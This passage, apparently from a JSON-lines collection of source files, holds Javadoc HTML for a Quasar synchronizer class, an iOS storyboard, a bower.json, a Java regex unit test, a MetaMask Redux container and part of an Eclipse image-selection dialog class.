href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a>, returning on success. Otherwise, the\n strand is queued, possibly repeatedly blocking and unblocking,\n invoking <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> until success or the strand\n is interrupted or the timeout elapses.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is conveyed to\n <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> but is otherwise uninterpreted\n and can represent anything you like.</dd>\n<dd><code>nanosTimeout</code> - the maximum number of nanoseconds to wait</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if acquired; <code>false</code> if timed out</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.InterruptedException</code> - if the current strand is interrupted</dd>\n</dl>\n</li>\n</ul>\n<a id=\"releaseShared(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>releaseShared</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;releaseShared&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Releases in shared mode. Implemented by unblocking one or more\n strands if <a href=\"#tryReleaseShared(int)\"><code>tryReleaseShared(int)</code></a> returns true.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the release argument. This value is conveyed to\n <a href=\"#tryReleaseShared(int)\"><code>tryReleaseShared(int)</code></a> but is otherwise uninterpreted\n and can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the value returned from <a href=\"#tryReleaseShared(int)\"><code>tryReleaseShared(int)</code></a></dd>\n</dl>\n</li>\n</ul>\n<a id=\"hasQueuedStrands()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>hasQueuedStrands</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;hasQueuedStrands()</pre>\n<div class=\"block\">Queries whether any strands are waiting to acquire. Note that\n because cancellations due to interrupts and timeouts may occur\n at any time, a <code>true</code> return does not guarantee that any\n other strand will ever acquire.\n\n <p>In this implementation, this operation returns in\n constant time.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if there may be other strands waiting to acquire</dd>\n</dl>\n</li>\n</ul>\n<a id=\"hasContended()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>hasContended</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;hasContended()</pre>\n<div class=\"block\">Queries whether any strands have ever contended to acquire this\n synchronizer; that is if an acquire method has ever blocked.\n\n <p>In this implementation, this operation returns in\n constant time.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if there has ever been contention</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getFirstQueuedStrand()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getFirstQueuedStrand</h4>\n<pre class=\"methodSignature\">public final&nbsp;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&nbsp;getFirstQueuedStrand()</pre>\n<div class=\"block\">Returns the first (longest-waiting) strand in the queue, or\n <code>null</code> if no strands are currently queued.\n\n <p>In this implementation, this operation normally returns in\n constant time, but may iterate upon contention if other strands are\n concurrently modifying the queue.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the first (longest-waiting) strand in the queue, or\n <code>null</code> if no strands are currently queued</dd>\n</dl>\n</li>\n</ul>\n<a id=\"isQueued(co.paralleluniverse.strands.Strand)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>isQueued</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;isQueued&#8203;(<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&nbsp;strand)</pre>\n<div class=\"block\">Returns true if the given strand is currently queued.\n\n <p>This implementation traverses the queue to determine\n presence of the given strand.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>strand</code> - the strand</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if the given strand is on the queue</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.NullPointerException</code> - if the strand is null</dd>\n</dl>\n</li>\n</ul>\n<a id=\"hasQueuedPredecessors()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>hasQueuedPredecessors</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;hasQueuedPredecessors()</pre>\n<div class=\"block\">Queries whether any strands have been waiting to acquire longer\n than the current strand.\n\n <p>An invocation of this method is equivalent to (but may be\n more efficient than):\n <pre> <code>\n getFirstQueuedStrand() != Strand.currentStrand() &amp;&amp;\n hasQueuedStrands()</code></pre>\n\n <p>Note that because cancellations due to interrupts and\n timeouts may occur at any time, a <code>true</code> return does not\n guarantee that some other strand will acquire before the current\n strand. Likewise, it is possible for another strand to win a\n race to enqueue after this method has returned <code>false</code>,\n due to the queue being empty.\n\n <p>This method is designed to be used by a fair synchronizer to\n avoid <a href=\"AbstractQueuedSynchronizer#barging\">barging</a>.\n Such a synchronizer's <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> method should return\n <code>false</code>, and its <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> method should\n return a negative value, if this method returns <code>true</code>\n (unless this is a reentrant acquire). For example, the <code>\n tryAcquire</code> method for a fair, reentrant, exclusive mode\n synchronizer might look like this:\n\n <pre> <code>\n protected boolean tryAcquire(int arg) {\n if (isHeldExclusively()) {\n // A reentrant acquire; increment hold count\n return true;\n } else if (hasQueuedPredecessors()) {\n return false;\n } else {\n // try to acquire normally\n }\n }</code></pre></div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if there is a queued strand preceding the\n current strand, and <code>false</code> if the current strand\n is at the head of the queue or the queue is empty</dd>\n<dt><span class=\"simpleTagLabel\">Since:</span></dt>\n<dd>1.7</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getQueueLength()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getQueueLength</h4>\n<pre class=\"methodSignature\">public final&nbsp;int&nbsp;getQueueLength()</pre>\n<div class=\"block\">Returns an estimate of the number of strands waiting to\n acquire. The value is only an estimate because the number of\n strands may change dynamically while this method traverses\n internal data structures. This method is designed for use in\n monitoring system state, not for synchronization\n control.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the estimated number of strands waiting to acquire</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getQueuedStrands()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getQueuedStrands</h4>\n<pre class=\"methodSignature\">public final&nbsp;java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;&nbsp;getQueuedStrands()</pre>\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire. Because the actual set of strands may change\n dynamically while constructing this result, the returned\n collection is only a best-effort estimate. The elements of the\n returned collection are in no particular order. This method is\n designed to facilitate construction of subclasses that provide\n more extensive monitoring facilities.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the collection of strands</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getExclusiveQueuedStrands()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getExclusiveQueuedStrands</h4>\n<pre class=\"methodSignature\">public final&nbsp;java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;&nbsp;getExclusiveQueuedStrands()</pre>\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire in exclusive mode. This has the same properties\n as <a href=\"#getQueuedStrands()\"><code>getQueuedStrands()</code></a> except that it only returns\n those strands waiting due to an exclusive acquire.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the collection of strands</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getSharedQueuedStrands()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getSharedQueuedStrands</h4>\n<pre class=\"methodSignature\">public final&nbsp;java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;&nbsp;getSharedQueuedStrands()</pre>\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire in shared mode. This has the same properties\n as <a href=\"#getQueuedStrands()\"><code>getQueuedStrands()</code></a> except that it only returns\n those strands waiting due to a shared acquire.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the collection of strands</dd>\n</dl>\n</li>\n</ul>\n<a id=\"toString()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>toString</h4>\n<pre class=\"methodSignature\">public&nbsp;java.lang.String&nbsp;toString()</pre>\n<div class=\"block\">Returns a string identifying this synchronizer, as well as its state.\n The state, in brackets, includes the String <code>\"State =\"</code>\n followed by the current value of <a href=\"#getState()\"><code>getState()</code></a>, and either\n <code>\"nonempty\"</code> or <code>\"empty\"</code> depending on whether the\n queue is empty.</div>\n<dl>\n<dt><span class=\"overrideSpecifyLabel\">Overrides:</span></dt>\n<dd><code>toString</code>&nbsp;in class&nbsp;<code>java.lang.Object</code></dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>a string identifying this synchronizer, as well as its state</dd>\n</dl>\n</li>\n</ul>\n<a id=\"owns(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>owns</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;owns&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</pre>\n<div class=\"block\">Queries whether the given ConditionObject\n uses this synchronizer as its lock.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>condition</code> - the condition</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if owned</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.NullPointerException</code> - if the condition is null</dd>\n</dl>\n</li>\n</ul>\n<a id=\"hasWaiters(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>hasWaiters</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;hasWaiters&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</pre>\n<div class=\"block\">Queries whether any strands are waiting on the given condition\n associated with this synchronizer. Note that because timeouts\n and interrupts may occur at any time, a <code>true</code> return\n does not guarantee that a future <code>signal</code> will awaken\n any strands. This method is designed primarily for use in\n monitoring of the system state.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>condition</code> - the condition</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if there are any waiting strands</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if exclusive synchronization\n is not held</dd>\n<dd><code>java.lang.IllegalArgumentException</code> - if the given condition is\n not associated with this synchronizer</dd>\n<dd><code>java.lang.NullPointerException</code> - if the condition is null</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getWaitQueueLength(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getWaitQueueLength</h4>\n<pre class=\"methodSignature\">public final&nbsp;int&nbsp;getWaitQueueLength&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</pre>\n<div class=\"block\">Returns an estimate of the number of strands waiting on the\n given condition associated with this synchronizer. Note that\n because timeouts and interrupts may occur at any time, the\n estimate serves only as an upper bound on the actual number of\n waiters. This method is designed for use in monitoring of the\n system state, not for synchronization control.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>condition</code> - the condition</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the estimated number of waiting strands</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if exclusive synchronization\n is not held</dd>\n<dd><code>java.lang.IllegalArgumentException</code> - if the given condition is\n not associated with this synchronizer</dd>\n<dd><code>java.lang.NullPointerException</code> - if the condition is null</dd>\n</dl>\n</li>\n</ul>\n<a id=\"getWaitingStrands(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">\n<!-- -->\n</a>\n<ul class=\"blockListLast\">\n<li class=\"blockList\">\n<h4>getWaitingStrands</h4>\n<pre class=\"methodSignature\">public final&nbsp;java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;&nbsp;getWaitingStrands&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</pre>\n<div class=\"block\">Returns a collection containing those strands that may be\n waiting on the given condition associated with this\n synchronizer. Because the actual set of strands may change\n dynamically while constructing this result, the returned\n collection is only a best-effort estimate. The elements of the\n returned collection are in no particular order.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>condition</code> - the condition</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the collection of strands</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if exclusive synchronization\n is not held</dd>\n<dd><code>java.lang.IllegalArgumentException</code> - if the given condition is\n not associated with this synchronizer</dd>\n<dd><code>java.lang.NullPointerException</code> - if the condition is null</dd>\n</dl>\n</li>\n</ul>\n</li>\n</ul>\n</section>\n</li>\n</ul>\n</div>\n</div>\n</main>\n<!-- ========= END OF CLASS DATA ========= -->\n<footer role=\"contentinfo\">\n<nav role=\"navigation\">\n<!-- ======= START OF BOTTOM NAVBAR ====== -->\n<div class=\"bottomNav\"><a id=\"navbar.bottom\">\n<!-- -->\n</a>\n<div class=\"skipNav\"><a href=\"#skip.navbar.bottom\" title=\"Skip navigation links\">Skip navigation links</a></div>\n<a id=\"navbar.bottom.firstrow\">\n<!-- -->\n</a>\n<ul class=\"navList\" title=\"Navigation\">\n<li><a href=\"../../../../index.html\">Overview</a></li>\n<li><a href=\"package-summary.html\">Package</a></li>\n<li class=\"navBarCell1Rev\">Class</li>\n<li><a href=\"package-tree.html\">Tree</a></li>\n<li><a href=\"../../../../deprecated-list.html\">Deprecated</a></li>\n<li><a href=\"../../../../index-all.html\">Index</a></li>\n<li><a href=\"../../../../help-doc.html\">Help</a></li>\n</ul>\n</div>\n<div class=\"subNav\">\n<ul class=\"navList\" id=\"allclasses_navbar_bottom\">\n<li><a href=\"../../../../allclasses.html\">All&nbsp;Classes</a></li>\n</ul>\n<div>\n<script type=\"text/javascript\"><!--\n allClassesLink = document.getElementById(\"allclasses_navbar_bottom\");\n if(window==top) {\n allClassesLink.style.display = \"block\";\n }\n else {\n allClassesLink.style.display = \"none\";\n }\n //-->\n</script>\n<noscript>\n<div>JavaScript is disabled on your browser.</div>\n</noscript>\n</div>\n<div>\n<ul class=\"subNavList\">\n<li>Summary:&nbsp;</li>\n<li><a href=\"#nested.class.summary\">Nested</a>&nbsp;|&nbsp;</li>\n<li>Field&nbsp;|&nbsp;</li>\n<li><a href=\"#constructor.summary\">Constr</a>&nbsp;|&nbsp;</li>\n<li><a href=\"#method.summary\">Method</a></li>\n</ul>\n<ul class=\"subNavList\">\n<li>Detail:&nbsp;</li>\n<li>Field&nbsp;|&nbsp;</li>\n<li><a href=\"#constructor.detail\">Constr</a>&nbsp;|&nbsp;</li>\n<li><a href=\"#method.detail\">Method</a></li>\n</ul>\n</div>\n<a id=\"skip.navbar.bottom\">\n<!-- -->\n</a></div>\n<!-- ======== END OF BOTTOM NAVBAR ======= -->\n</nav>\n</footer>\n</body>\n</html>\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"11134\" systemVersion=\"15F34\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" launchScreen=\"YES\" useTraitCollections=\"YES\" colorMatched=\"YES\" initialViewController=\"01J-lp-oVM\">\n <dependencies>\n <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"11106\"/>\n <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n </dependencies>\n <scenes>\n <!--View Controller-->\n <scene sceneID=\"EHf-IW-A2E\">\n <objects>\n <viewController id=\"01J-lp-oVM\" sceneMemberID=\"viewController\">\n <layoutGuides>\n <viewControllerLayoutGuide type=\"top\" id=\"Llm-lL-Icb\"/>\n <viewControllerLayoutGuide type=\"bottom\" id=\"xb3-aO-Qok\"/>\n </layoutGuides>\n <view key=\"view\" contentMode=\"scaleToFill\" id=\"Ze5-6b-2t3\">\n <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"667\"/>\n <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n <color key=\"backgroundColor\" red=\"1\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n </view>\n </viewController>\n <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"iYj-Kq-Ea1\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n </objects>\n <point key=\"canvasLocation\" x=\"53\" y=\"375\"/>\n </scene>\n </scenes>\n</document>\n"} {"text": "{\n \"name\": \"visionmedia-debug\",\n \"main\": \"dist/debug.js\",\n \"homepage\": \"https://github.com/visionmedia/debug\",\n \"authors\": [\n \"TJ Holowaychuk <tj@vision-media.ca>\",\n \"Nathan Rajlich <nathan@tootallnate.net> (http://n8.io)\",\n \"Andrew Rhyne <rhyneandrew@gmail.com>\"\n ],\n \"description\": \"visionmedia-debug\",\n \"moduleType\": [\n \"amd\",\n \"es6\",\n \"globals\",\n \"node\"\n ],\n \"keywords\": [\n \"visionmedia\",\n \"debug\"\n ],\n \"license\": \"MIT\",\n \"ignore\": [\n \"**/.*\",\n \"node_modules\",\n \"bower_components\",\n \"test\",\n \"tests\"\n ]\n}\n"} {"text": "package io.parallec.core.filter;\n\nimport io.parallec.core.FilterRegex;\nimport io.parallec.core.TestBase;\nimport io.parallec.core.util.PcConstants;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.junit.Test;\n\npublic class FilterRegexTest extends TestBase {\n\n @Test\n public void testFilterRegex() {\n String completeRegex = \".*\\\"progress\\\"\\\\s*:\\\\s*(100).*}\";\n FilterRegex.stringMatcherByPattern(null, completeRegex);\n\n FilterRegex.stringMatcherByPattern(completeRegex, null);\n }\n\n @Test\n public void testRegex() {\n\n String completeRegex = \".*\\\"progress\\\"\\\\s*:\\\\s*(100).*}\";\n Pattern patternMetric = Pattern.compile(completeRegex,\n Pattern.MULTILINE);\n String response = \"{\\\"status\\\": \\\"/status/e40c0f1e-ddc2-4987-aaa7-b638a9978782\\\", \\\"progress\\\": 100, \\\"error\\\": 300}\";\n\n final Matcher matcher = patternMetric.matcher(response);\n String matchStr = PcConstants.NA;\n if (matcher.matches()) {\n matchStr = matcher.group(1);\n }\n logger.info(matchStr + \"\");\n }\n\n}\n"} {"text": "import { connect } from 'react-redux'\nimport { buyEth, hideModal, showModal, hideWarning } from '../../../../store/actions'\nimport DepositEtherModal from './deposit-ether-modal.component'\n\nfunction mapStateToProps (state) {\n return {\n network: state.metamask.network,\n address: state.metamask.selectedAddress,\n }\n}\n\nfunction mapDispatchToProps (dispatch) {\n return {\n toWyre: (address) => {\n dispatch(buyEth({ service: 'wyre', address }))\n },\n toCoinSwitch: (address) => {\n dispatch(buyEth({ service: 'coinswitch', address }))\n },\n hideModal: () => {\n dispatch(hideModal())\n },\n hideWarning: () => {\n dispatch(hideWarning())\n },\n showAccountDetailModal: () => {\n dispatch(showModal({ name: 'ACCOUNT_DETAILS' }))\n },\n toFaucet: (network) => dispatch(buyEth({ network })),\n }\n}\n\nexport default connect(mapStateToProps, mapDispatchToProps)(DepositEtherModal)\n"} {"text": "// The MIT License (MIT)\r\n//\r\n// Copyright (c) 2015 Arian Fornaris\r\n//\r\n// Permission is hereby granted, free of charge, to any person obtaining a\r\n// copy of this software and associated documentation files (the\r\n// \"Software\"), to deal in the Software without restriction, including\r\n// without limitation the rights to use, copy, modify, merge, publish,\r\n// distribute, sublicense, and/or sell copies of the Software, and to permit\r\n// persons to whom the Software is furnished to do so, subject to the\r\n// following conditions: The above copyright notice and this permission\r\n// notice shall be included in all copies or substantial portions of the\r\n// Software.\r\n//\r\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\r\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\r\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\r\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\r\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\r\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\r\npackage phasereditor.assetpack.ui;\r\n\r\nimport java.util.List;\r\n\r\nimport org.eclipse.core.resources.IFile;\r\nimport org.eclipse.core.resources.IResource;\r\nimport org.eclipse.jface.dialogs.Dialog;\r\nimport org.eclipse.jface.dialogs.IDialogConstants;\r\nimport org.eclipse.jface.viewers.IFontProvider;\r\nimport org.eclipse.jface.viewers.ISelectionChangedListener;\r\nimport org.eclipse.jface.viewers.IStructuredSelection;\r\nimport org.eclipse.jface.viewers.LabelProvider;\r\nimport org.eclipse.jface.viewers.SelectionChangedEvent;\r\nimport org.eclipse.jface.viewers.StructuredSelection;\r\nimport org.eclipse.swt.SWT;\r\nimport org.eclipse.swt.events.MouseAdapter;\r\nimport org.eclipse.swt.events.MouseEvent;\r\nimport org.eclipse.swt.events.PaintEvent;\r\nimport org.eclipse.swt.graphics.Point;\r\nimport org.eclipse.swt.layout.GridData;\r\nimport org.eclipse.swt.layout.GridLayout;\r\nimport org.eclipse.swt.widgets.Composite;\r\nimport org.eclipse.swt.widgets.Control;\r\nimport org.eclipse.swt.widgets.Label;\r\nimport org.eclipse.swt.widgets.Shell;\r\n\r\nimport phasereditor.ui.FilteredTreeCanvas;\r\nimport phasereditor.ui.ImageProxy;\r\nimport phasereditor.ui.ImageProxyTreeCanvasItemRenderer;\r\nimport phasereditor.ui.TreeArrayContentProvider;\r\nimport phasereditor.ui.TreeCanvas;\r\nimport phasereditor.ui.TreeCanvasViewer;\r\nimport phasereditor.ui.TreeCanvas.TreeCanvasItem;\r\n\r\npublic class ImageResourceDialog extends Dialog {\r\n\tprivate TreeCanvasViewer _listViewer;\r\n\tprivate Object _selection;\r\n\tprivate Label _messageLabel;\r\n\tprivate TreeCanvas _treeCanvas;\r\n\r\n\t/**\r\n\t * Create the dialog.\r\n\t * \r\n\t * @param parentShell\r\n\t */\r\n\tpublic ImageResourceDialog(Shell parentShell) {\r\n\t\tsuper(parentShell);\r\n\t\tsetShellStyle(SWT.DIALOG_TRIM | SWT.RESIZE);\r\n\t}\r\n\r\n\t/**\r\n\t * Create contents of the dialog.\r\n\t * \r\n\t * @param parent\r\n\t */\r\n\t@Override\r\n\tprotected Control createDialogArea(Composite parent) {\r\n\t\tComposite container = (Composite) super.createDialogArea(parent);\r\n\t\tcontainer.setLayout(new GridLayout(1, false));\r\n\r\n\t\tComposite composite_1 = new Composite(container, SWT.NONE);\r\n\t\tGridData gd_composite_1 = new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1);\r\n\t\tgd_composite_1.verticalIndent = 10;\r\n\t\tcomposite_1.setLayoutData(gd_composite_1);\r\n\t\tcomposite_1.setLayout(new GridLayout(1, false));\r\n\r\n\t\t_messageLabel = new Label(composite_1, SWT.NONE);\r\n\t\t_messageLabel.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1));\r\n\t\t_messageLabel.setText(\"Select the yyy image. Those in bold are not used in this pack.\");\r\n\r\n\t\tComposite composite = new Composite(container, SWT.NONE);\r\n\t\tGridData gd_composite = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1);\r\n\t\tgd_composite.verticalIndent = 10;\r\n\t\tcomposite.setLayoutData(gd_composite);\r\n\t\tGridLayout gl_composite = new GridLayout(2, true);\r\n\t\tcomposite.setLayout(gl_composite);\r\n\r\n\t\tvar filteredTree = new FilteredTreeCanvas(composite, SWT.BORDER);\r\n\t\tfilteredTree.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, true, 1, 1));\r\n\t\t_treeCanvas = filteredTree.getTree();\r\n\t\t_listViewer = createViewer();\r\n\r\n\t\t_imagePreviewCanvas = new ImagePreviewComp(composite, SWT.BORDER);\r\n\t\t_imagePreviewCanvas.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1));\r\n\t\t_listViewer.setContentProvider(new TreeArrayContentProvider());\r\n\t\t_listViewer.setLabelProvider(new LabelProvider());\r\n\r\n\t\treturn container;\r\n\t}\r\n\r\n\tprivate TreeCanvasViewer createViewer() {\r\n\t\treturn new TreeCanvasViewer(_treeCanvas) {\r\n\t\t\t@Override\r\n\t\t\tprotected void setItemProperties(TreeCanvasItem item) {\r\n\t\t\t\tsuper.setItemProperties(item);\r\n\r\n\t\t\t\tvar file = (IFile) item.getData();\r\n\r\n\t\t\t\titem.setRenderer(new ImageProxyTreeCanvasItemRenderer(item, ImageProxy.get(file, null)) {\r\n\t\t\t\t\t@Override\r\n\t\t\t\t\tpublic void render(PaintEvent e, int index, int x, int y) {\r\n\t\t\t\t\t\tvar oldFont = e.gc.getFont();\r\n\r\n\t\t\t\t\t\tif (getLabelProvider() instanceof IFontProvider) {\r\n\t\t\t\t\t\t\tvar font = ((IFontProvider) getLabelProvider()).getFont(_item.getData());\r\n\t\t\t\t\t\t\tif (font != null) {\r\n\r\n\t\t\t\t\t\t\t\te.gc.setFont(font);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tsuper.render(e, index, x, y);\r\n\r\n\t\t\t\t\t\te.gc.setFont(oldFont);\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t};\r\n\t}\r\n\r\n\tprivate LabelProvider _labelProvider;\r\n\tprivate Object _input;\r\n\tprivate ImagePreviewComp _imagePreviewCanvas;\r\n\tprivate IResource _initial;\r\n\tprivate String _objectName;\r\n\tprivate List<Object> _multiSelection;\r\n\r\n\t@Override\r\n\tprotected Control createContents(Composite parent) {\r\n\t\tControl control = super.createContents(parent);\r\n\r\n\t\tif (_labelProvider != null) {\r\n\t\t\t_listViewer.setLabelProvider(_labelProvider);\r\n\t\t}\r\n\r\n\t\tif (_input != null) {\r\n\t\t\t_listViewer.setInput(_input);\r\n\t\t}\r\n\r\n\t\t_listViewer.getTree().addMouseListener(new MouseAdapter() {\r\n\t\t\t@Override\r\n\t\t\tpublic void mouseDoubleClick(MouseEvent e) {\r\n\t\t\t\tokPressed();\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t\t_listViewer.addSelectionChangedListener(new ISelectionChangedListener() {\r\n\r\n\t\t\t@Override\r\n\t\t\tpublic void selectionChanged(SelectionChangedEvent event) {\r\n\t\t\t\tgetPreview().setImageFile((IFile) ((IStructuredSelection) event.getSelection()).getFirstElement());\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t\tif (_initial != null) {\r\n\t\t\t_listViewer.setSelection(new StructuredSelection(_initial), true);\r\n\t\t}\r\n\r\n\t\tif (_objectName != null) {\r\n\t\t\t_messageLabel.setText(\"Select the \" + _objectName + \" image. Those in bold are not used in this pack.\");\r\n\t\t}\r\n\r\n\t\treturn control;\r\n\t}\r\n\r\n\tpublic void setObjectName(String objectName) {\r\n\t\t_objectName = objectName;\r\n\t}\r\n\r\n\tpublic void setLabelProvider(LabelProvider labelProvider) {\r\n\t\t_labelProvider = labelProvider;\r\n\t}\r\n\r\n\tpublic LabelProvider getLabelProvider() {\r\n\t\treturn _labelProvider;\r\n\t}\r\n\r\n\tpublic void setInput(Object input) {\r\n\t\t_input 